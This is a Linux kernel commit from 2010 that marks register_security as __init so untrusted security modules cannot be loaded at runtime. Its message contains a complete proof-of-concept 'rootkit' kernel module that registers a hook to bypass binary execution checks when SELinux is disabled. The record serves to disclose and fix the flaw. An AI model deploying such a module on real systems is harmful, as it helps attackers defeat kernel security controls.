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authorwzt.wzt@gmail.com <wzt.wzt@gmail.com>2010-02-26 22:49:55 +0800
committerJames Morris <jmorris@namei.org>2010-03-03 09:15:28 +1100
commitc1e992b99603a84d7debb188542b64f2d9232c07 (patch)
tree786b1ec0c06c3d5a9df7bc3123c881ccae083d65
parent3a5b27bf6f29574d667230c7e76e4b83fe3014e0 (diff)
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Security: Add __init to register_security to disable load a security module on runtime
LSM framework doesn't allow to load a security module on runtime, it must be loaded on boot time. but in security/security.c: int register_security(struct security_operations *ops) { ... if (security_ops != &default_security_ops) return -EAGAIN; ... } if security_ops == &default_security_ops, it can access to register a security module. If selinux is enabled, other security modules can't register, but if selinux is disabled on boot time, the security_ops was set to default_security_ops, LSM allows other kernel modules to use register_security() to register a not trust security module. For example: disable selinux on boot time(selinux=0). #include <linux/kernel.h> #include <linux/module.h> #include <linux/init.h> #include <linux/version.h> #include <linux/string.h> #include <linux/list.h> #include <linux/security.h> MODULE_LICENSE("GPL"); MODULE_AUTHOR("wzt"); extern int register_security(struct security_operations *ops); int (*new_register_security)(struct security_operations *ops); int rootkit_bprm_check_security(struct linux_binprm *bprm) { return 0; } struct security_operations rootkit_ops = { .bprm_check_security = rootkit_bprm_check_security, }; static int rootkit_init(void) { printk("Load LSM rootkit module.\n"); /* cat /proc/kallsyms | grep register_security */ new_register_security = 0xc0756689; if (new_register_security(&rootkit_ops)) { printk("Can't register rootkit module.\n"); return 0; } printk("Register rootkit module ok.\n"); return 0; } static void rootkit_exit(void) { printk("Unload LSM rootkit module.\n"); } module_init(rootkit_init); module_exit(rootkit_exit); Signed-off-by: Zhitong Wang <zhitong.wangzt@alibaba-inc.com> Signed-off-by: James Morris <jmorris@namei.org>
-rw-r--r--security/security.c2
1 files changed, 1 insertions, 1 deletions
diff --git a/security/security.c b/security/security.c
index 122b748d0f4..7da630a8c06 100644
--- a/security/security.c
+++ b/security/security.c
@@ -110,7 +110,7 @@ int __init security_module_enable(struct security_operations *ops)
* If there is already a security module registered with the kernel,
* an error will be returned. Otherwise %0 is returned on success.
*/
-int register_security(struct security_operations *ops)
+int __init register_security(struct security_operations *ops)
{
if (verify(ops)) {
printk(KERN_DEBUG "%s could not verify "